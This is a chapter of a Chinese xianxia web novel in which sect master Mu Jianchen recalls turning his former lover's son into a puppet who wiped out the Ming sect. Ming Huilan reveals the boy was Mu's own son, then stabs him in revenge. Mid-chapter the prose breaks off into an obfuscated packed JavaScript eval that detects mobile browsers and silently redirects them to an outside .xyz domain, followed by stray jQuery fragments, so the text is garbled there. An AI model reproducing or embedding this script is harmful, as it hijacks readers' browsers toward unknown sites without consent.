25.第 25 章

作品:《奴隶要有奴隶的样子

    柳娥那个贱人,说什么我心匪石,情比金坚,实际根本就是个水性杨花,寡情薄意的贱货!


    他有错吗?他当然没错,错的是柳娥。


    说好的帮他实现心中抱负,自愿为他去明宗做间谍,结果她薄志弱行,竟毫无廉耻之心的爱上明如松了!还生了个明隐竹,当起了贤妻良母。


    可笑,可笑至极。


    女人果然靠不住!


    木剑陈死死盯着明晦兰,生平难得几次感到毛骨悚然:“本宗主真是小看你了。”


    明晦兰海涵地负,以德报怨,他纯粹的天真,是真圣人。


    不一样,和传闻中白玉无瑕的他不一样。


    那些阴谋诡计他全都知道,却能做到韬光养晦,以四两拨千斤巧妙化解并加以利用。


    小小的少年,这是何等的心志和城府?!!


    木剑陈刮目相看了。


    年少成名的天之骄子,岂会是善茬?


    他明晦兰太善于伪装,仿佛真是一个心地纯善懵懂无邪的蠢货,莫说天下人,就连他老子明如松都深受蒙骗吧?


    “夫人一生中最重要的三个男人,每个都让她心如刀绞,痛不欲生。”明晦兰无奈摇头道,“真是可悲。”


    木剑陈冷笑道:“那是她自作自受!”


    少女出水芙蓉般的妙姿倩影已经记不清了。年少时的怦然心动早已面目全非,只剩下既熟悉又陌生的憎恶嘴脸,状若癫狂的骂他怨他恨他。


    “你毁了我的儿子呜呜呜,我的隐竹,我可怜的隐竹啊!”


    “若隐竹有个三长两短,我也不要活了。”


    “木剑陈,你赔我儿子!”


    赔什么?


    赔柳娥和明如松的宝贝好大儿?


    赔和他海誓山盟过的女子和别的男人生下来的骨肉?


    柳娥哭的肝肠寸断,痛不欲生。


    那个瞬间,他突然无比后悔——刺杀时,在最后关头发现杀错人了,急忙收手,放过了明隐竹。


    他当时就该一剑诛的孽种灰飞烟灭!


    女人惨白着脸说:“木剑陈,我不干了。”


    他以为自己听错了,没关系,他体谅女人为人母的心情,儿子废了么,当然心灰意冷了。


    他给女人悲春伤秋的时间,半个月后再去找她,原以为她能回心转意,岂料她的态度更坚决了:“隐竹就是我的全部,他被毁了,我的心也死了,我什么都不想理。”


    “我跟你说实话吧!明如松待我极好,尊重我怜惜我,事事顺从我迁就我。我和你行苟且之事,心中饱受煎熬,寝食难安,我实在太对不起他了。”


    “这些年,我帮你的已经够多了,无愧咱们的青梅竹马之情,我也不需要你补偿或是什么,你不打扰我的生活就已经是帮我了。”


    “木剑陈,咱们就此一刀两断吧。”


    是柳娥背叛在先,怨不得他心狠手辣!!


    他隐忍不发,先安抚好情绪激动的柳娥,哄骗她自己定会竭尽所能帮明隐竹恢复,爱子心切的女人果然中计。


    所以接下来的一年多时间,都是柳娥将明隐竹送到他手里的。


    他假意对明隐竹关爱有加,实则将其慢慢炼为傀儡。


    愚蠢的明隐竹直到本识溃散,还一口一个义父的叫。


    对傀儡颁布指令,明隐竹的首要任务就是当着柳娥的面弑父!


    亲生儿子动手,身为亲爹的明如松全无防备,连拔剑的机会都没有就被掏空了丹田。


    经过他改造的明隐竹实力暴涨,以一敌百,看似铜皮铁骨刀剑不入,实际是拼命的榨干自己,直到枯竭的躯体再也支撑不住,被木剑陈“两手准备”的邪祟弃体而出,宛如疫病般一传十十传百,让整个明宗沦为屠宰场!


    一夜之间,三百余口尽数死于混战,上到宗主下至沙皮狗无一生还,狰狞的鲜血顺着砖缝流了三天三夜都流不干净。


    木剑陈这辈子都不曾这么痛快过,以至于现在重温起来,还是激动的浑身汗毛乱颤。


    儿子被制成傀儡,魂魄生生抽离本体时,痛苦程度难以用言语形容。而单纯的魂魄若无容器,是无法在世间久留的,最多三日魂飞魄散,永世不得超生。


    儿子杀了丈夫,再杀宗亲,再杀满门弟子,最后被榨干殆尽自取灭亡——而柳娥,束手无策,只能眼睁睁看着这一切。


    在哭到只剩下血泪时,柳娥自毁元神而死。


    *


    话既然说开了,木剑陈也就不装“亲切的长辈了”:“可惜还是有一条漏网之鱼,仅凭这身病弱残躯,用短短半年时间将灭门内情调查的一清二楚,本宗主佩服你,不愧是我北域的栋梁之材。”


    明晦兰垂下眸子谦虚的摇头,深深叹了口气,再看向木剑陈时,无比痛惜似的说:“有个惨痛的事实真相,不得不说与你知晓。”


    木剑陈慢条斯理:“什么?”


    明晦兰也慢条斯理,然后语不惊人死不休:“明隐竹是你的儿子。”


    “?!!”


    木剑陈傻住了。


    老半天,他才挤出一个僵硬到扭曲的表情:“你有病?”


    明晦兰道:“明隐竹五官气质都像极了柳娥,遗传方面倒是他不懂事了,但你就没发现,他一点也不像明如松吗?”


    木剑陈拍桌而起:“可他也不像老子!一点都不像!”


    明晦兰:“血脉至亲间,总会有些感应的,木宗主不妨回想回想。”


    木剑陈心头巨震,他确实第一眼见到明隐竹就觉得亲切,可他只当那是对柳娥爱屋及乌……


    “若木宗主实在不信,眼下倒也有办法验证。”


    木剑陈几乎立刻问:“怎么验证?”


    血亲之间用来验证血脉的咒术有多是,可这都要建立在“活人”的基础上。


    明晦兰:“木宗主境界之高,连‘魂引之术’都不会?”


    木剑陈想骂人,是的,还有搜魂之术。但那也要建立在“有魂魄”的基础上,明隐竹都他娘的魂飞魄散了!


    木剑陈正要发作,猛地看见桌上放着的镇魂幡,心里轰的一下。


    明晦兰:“天意不想木宗主当个糊涂蛋,明隐竹的残魂被季无涯无意间收进了镇魂幡内,只要木宗主对镇魂幡施以‘魂引’,若明隐竹是你亲生……剩下的就不必晚辈多言了。”


    木剑陈心跳如雷,明晦兰步步引诱,就是要他对镇魂幡“动手”?


    镇魂幡果然有陷阱,明晦兰是想为全宗报仇!


    岂能上当。


    可是……木剑陈把心一横,不弄清楚这件事,他必然要走火入魔。再说了,他还能被明晦兰一个废人给算计了?


    木剑陈立即对镇魂幡施法。


    边施法,边留意明晦兰,见他并未搞什么小动作,逐渐专心起来。


    死小孩绝对是在危言耸听,他就算经常跟柳娥幽会,也不比明如松跟柳娥的时间多!所以明隐竹是明如松的儿子,绝对是!


    幡在风中“啪逢啪逢”响,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586938|170724||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    无数错乱交织的鬼泣冲击着耳膜。忽然,那些杂乱的声音褪去了,一道墨绿色的幽光在幡内清晰的亮起,即便是被群鬼挤压在最底层,也因血亲的“魂引”之术冲破所有障碍,一目了然,清晰毕露。


    木剑陈瞳孔巨震,骇然的往后连跌数步,脸色惨白如鬼:“不,不可能……”


    他埋伏暗杀,亲手葬送明隐竹的修仙之路。


    他诱骗明隐竹的信任,将他一点一点炼成傀儡。


    他让明隐竹魂飞魄散永不超生,逼得柳娥在绝望之下自尽。


    明隐竹是他的儿子?!!


    木剑陈捂住头失声尖叫,泪如雨下:“快停下,别喊了……”


    他的儿子在悲鸣,在镇魂幡内每时每刻受尽炼魂之苦,鬼泣之声撕心裂肺,震耳欲聋。


    木剑陈跪倒在地,拼命无助双耳也无法切断“魂引”带来的悲嚎,不消片刻就被折磨的神智涣散:“停,停下啊!明晦兰,快让他停下……”


    明晦兰慢悠悠的扶着膝盖起身,居高临下的看着他,目光怜悯:“晚辈又有何办法。”


    “求求你,求求你……”


    “明隐竹是你唯一的骨肉。”


    “别说了,隐竹,隐竹……我该怎么办,我有什么办法可以挽回吗?”


    明晦兰心怀不忍的安慰:“不是还有女娲泪吗,它是无所不能的。”


    “对,还有女娲泪!”木剑陈大喜过望,激动欲狂的呓语,“女娲泪在环琅,隐竹有救了!”


    原来如此。


    明晦兰勾唇一笑。


    “隐竹别怕,别哭,爹爹这就去环琅给你找女娲泪!还有你娘,只要有女娲泪,爹爹全能复活,咱们一家三口重新——”木剑陈浑身巨颤,一朵血花从胸□□裂开,殷红的鲜血喷了一地。


    木剑陈难以置信的低头,看见从胸口贯穿出来的剑身。


    而剑柄正握在站在他身后的,明晦兰手里。


    木剑陈认得。


    归尘,明晦兰的本命法器。


    受此重创,木剑陈混乱的神智竟然清明了:“你为何,为什么……明、晦、兰。”


    “木宗主是想问我为何会在背后捅你一剑?”明晦兰嗓音冰凉,目光冷冽,“当然是为明宗报仇了,这还用问?”


    木剑陈喷出一口血。报仇?说得好义正言辞,可事实果真这般简单吗?


    一个细思极恐的念头在木剑陈脑中一闪而过,霎时将他惊出一身冷汗。


    明晦兰究竟是在明宗灭门后调查出这一切真相的,还是在明宗灭门前就什么都知道?!


    若是后者……


    明晦兰装聋作哑,深藏若虚,对全家之死乐见其成!!


    木剑陈错了,他不该为明晦兰心性大变而感到兴奋,是该为明晦兰暴露本性而感到不寒而栗!


    这才是他的真面目!


    不是悲天悯人的佛陀,而是自红莲丛中爬过的阴鸷毒蛇!


    再一看,那是白莲啊。


    只不过被血染红了。


    ——他还能被明晦兰一个废人给算计了?


    他从一开始就在棋局中,注定了满盘皆输,万劫不复。


    利剑在内府狠狠一搅,猛烈拔出,浓郁的鲜血顺着剑身流淌,在明晦兰脚下聚成狰狞刺目的血洼。


    血洼倒映着空中圆月,月光依旧清辉皎洁。


    明晦兰瞳孔骤缩,猛地转身望去——


    衣非雪就站在数步之外,不知何时来的,更不知看了多久。